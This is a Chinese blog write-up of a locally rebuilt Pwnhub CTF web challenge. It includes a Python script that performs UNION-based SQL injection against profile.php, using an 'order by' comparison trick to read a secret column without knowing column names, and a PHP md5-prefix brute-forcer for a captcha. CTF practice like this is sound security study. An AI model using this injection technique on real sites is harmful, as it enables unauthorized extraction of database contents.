Hu3sky's blog

会员日Pwnhub题目的复现

Word count: 948 / Reading time: 4 min
2018/03/15 Share

0x00

自己在ph0res师傅的指导下(https://xianzhi.aliyun.com/forum/topic/1520#toc-6) 自己在本地搭了这道题,完成了这道很有意思的题目,那么我们现在来看看这道题目

0x01

首先进入首页index界面是一个登录的界面 登陆,然后扫一下,发现有config,flag,index,profile,register目录。然后先进入register页面,注册一下,然后跳转到了profile界面,显示一个这样的页面 登陆然后修改几次id会发现页面爆出了 good job,hint: thisissourcecode.zip。然后访问,直接下载源码(其实这里是一个注入点,可以把admin给直接注入出来)。分析源码,有个36位的 $duihuanma发现flag得到的条件是post上去的 $duihuanma和他生成的$duihuanma一致,并且$captcha与他上一次生成的$captcha 一致时就echo flag,这里有一个函数 str_shuffle(),这个函数是随机打乱里面的$duihuanma,而且还有个条件,当连续访问140次后,$duihuanma会重置,也就是说要在140次内,将这个36位的$duihuanma给爆出来。。。刚开始觉得根本不可能,但是在ph0res师傅的指导下,发现了一个方法,我在下面给读者说。(这里要说的是上一次生成的$captcha就是flag.php页面上所显示的,),分析profile,发现id过滤了 . _ () 也就是不能用一般的查询语句爆表了,但是我们能从源码中看出表名为users。如何从不知道列名的情况下给爆出列名里的数据呢。。这里推荐一个师傅的博客(http://wonderkun.cc/index.html/?p=547) ,经过调试,发现该表有5个字段,同时第二个字段是回显位,第四个字段就是$serect 里面是 $duihuanma。

一开始不是很懂。。但是自己在本地尝试了一下,就懂了

0x02

跑$duihuanma的方法就是一个二分法加上一个正则替换。因为str_shuffle()是伪随机,所以出现一个字母,就可以把这个字母替换为空,就少一次循环,这样可以将循环控制在140次左右,多试几次就可以爆出$duihuanma
下面把python的脚本放出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63


import requests as rq
import sys
url = "http://127.0.0.1/ctf/profile.php"
cookies = {
"PHPSESSID": "uriccu1q3smmknu8jbbltgbjd3"
}
string='01234567890abcdefghijklmnopqrstuvwxyz'
payload = {'id':'3'}
url = rq.get(url,cookies=cookies,params=payload)
i=1
str=""
print(url.url)
while i<=36:
left = 0
right = len(string)-1
print('wenti:')
print(right)
if right-left == 1:
poc = url.url+'union select 1,\'no\',3,\''+str+string[right]+'\',5 order by 4 limit 0,1--+'
target = rq.get(poc,cookies=cookies)
if 'aVenuE1' in target.text:
str = str+string[left]
str = str+string[right]
print(str)
exit()
else:
str = str+string[right]
str = str+string[left]
print(str)
exit()

while 1:
mid = int((left + right) / 2)
poc = url.url + ' union select 1,\'no\',3,\'' + str + string[mid] + '\',5 order by 4 limit 0,1--+'
print(poc)
target = rq.get(poc, cookies=cookies)
print(target.text)
if 'aVenuE1' in target.text:
right = mid - 1
else:
left = mid

if left == right:
str = str + string[left]
string = string.replace(string[left], '')
break

if right - left == 1:
poc = url.url + ' union select 1,\'no\',3,\'' + str + string[right] + '\',5 order by 4 limit 0,1--+'
target = rq.get(poc, cookies=cookies)
if 'aVenuE1' in target.text:
str = str + string[left]
string = string.replace(string[left], '')
break
else:
str = str + string[right]
string = string.replace(string[right], '')
break

i = i + 1
print(str)

跑脚本,可以看到 "结果"
这个脚本需要你自己修改回显的地方也就是我的’aVenuE1’,还有PHPSESSID,id。

0x03

接下来要做的就是写个脚本跑captcha,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$captcha=1;
while(1) {
if(substr(md5($captcha), 0, 4) == '6a1b')
{
echo $captcha;
break;
}
$captcha++;
}
echo "<br>".md5($captcha);
?>

将得到的值传入$captcha那一栏 得到flag。
结果

CATALOG
  1. 1. 0x00
  2. 2. 0x01
  3. 3. 0x02
  4. 4. 0x03